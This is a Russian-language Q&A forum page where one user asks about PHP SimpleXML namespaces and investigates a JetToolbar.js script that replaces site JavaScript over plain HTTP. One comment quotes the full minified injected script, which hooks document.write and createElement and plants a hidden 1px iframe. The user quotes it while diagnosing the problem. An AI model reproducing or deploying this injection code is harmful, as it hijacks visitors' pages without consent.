Задать вопрос
  • Как в PHP получить доступ в SimpleXML к ветке, если используется пространство имен?

    @astler Автор вопроса
    Я уже и так, и так пробую, все никак
    Что я делаю неправильно?

    $xml = simplexml_load_string($result);
    $namespaces = $xml->getNamespaces(true);
    $tmp2 = $xml->children($namespaces['tns'])->response;
    var_dump($tmp2);

    в $tmp2 получается object(SimpleXMLElement)#750 (0) {}
    и $tmp2->Token, и $tmp2->AccountToken выходит NULL.
  • Откуда на сайтах берется левый JavaScript - JetToolbar.js?

    @astler Автор вопроса
    index0h: Тут от хостинга не зависит. Я этот скрипт platform.twitter.com/widgets.js привел в качестве примера только. Подменяет разные скрипты на разных сайтах (только на http://, на https:// все на месте). Например, открываю ab.onliner.by и на этом сайте в этот раз подменили ab.onliner.by/content/js/components/pagination.js на другой скрипт

    (function(a,b,c){var d="script",e="src",f=b.location,g=function(a){return b.getElementsByTagName(a)},h=g(d),i=h.length;if("loading"==b.readyState&i>0&c==h[h.length-1].src&&b.write(''),g(d).length==i){var j=-1,k=b.createElement(d);k.src=c+"?r=2",k.type="text/javascript";for(j in h){if("string"==typeof h[j].src&&h[j].src==c){var l=h[j].nextSibling;l?h[j].parentNode.insertBefore(k,l):h[j].parentNode.appendChild(k)}break}k.parentNode||g("head")[0].appendChild(k)}if(!a.jTB&a==a.top){var m=b.write;b.write=function(){var a=m.apply(this,arguments);return a};var n=b.createElement;b.createElement=function(){var a=arguments,b=n.apply(this,a);try{if(b.getAttribute){var c=b.setAttribute;1==a.length&&a[0].toLowerCase()==d&&(Object.defineProperty&&Object.defineProperty(b,e,{set:function(){this.setAttribute(e,arguments[0])},get:function(){return b.getAttribute(e)}}),b.setAttribute=function(){var a=arguments;return 2==a.length&&a[0]==e&&a[1].indexOf(".js")==a[1].length-3&&(a=[e,a[1]+"?r=4"]),c.apply(this,a)})}}catch(f){}return b};var o=function(){var a=g("body")[0];if(a){var c=b.createElement("iframe");c.src=f.protocol+"//"+f.hostname+(f.port?":"+f.port:"")+"/gA0LNt_i5b9Q.html",c.name=document.domain;var d=c.style,e=b.createElement("div"),h=e.style;h.position="fixed",d.overflow="hidden",d.border=h.left=h.bottom=0,d.width=d.height=h.width=h.height="1px",e.appendChild(c),a.appendChild(e)}else setTimeout(o,50)};o(),a.jTB=1}})(window,document,"ab.onliner.by/content/js/components/pagination.js");

    Т.е. подмена идет динамически - они динамически меняют все время разные скрипты на разных сайтах.
  • Откуда на сайтах берется левый JavaScript - JetToolbar.js?

    @astler Автор вопроса
    Точно не браузерное расширение, т.к. я пока искал откуда растут ноги, загрузился в чистой системе ubuntu, и там wget-ом загружал один и тот же скрипт (platform.twitter.com/widgets.js), и после где-то 20-30 попыток загрузки одного и того же вместо оригинального widgets.js пришел подмененный, который загружает этот JetToolbar. Т.е. тут проблема точно не в браузере и не в системе. Если открывать много раз одну и ту же страницу в браузере, то подменяются разые скрипты, а не один и тот же.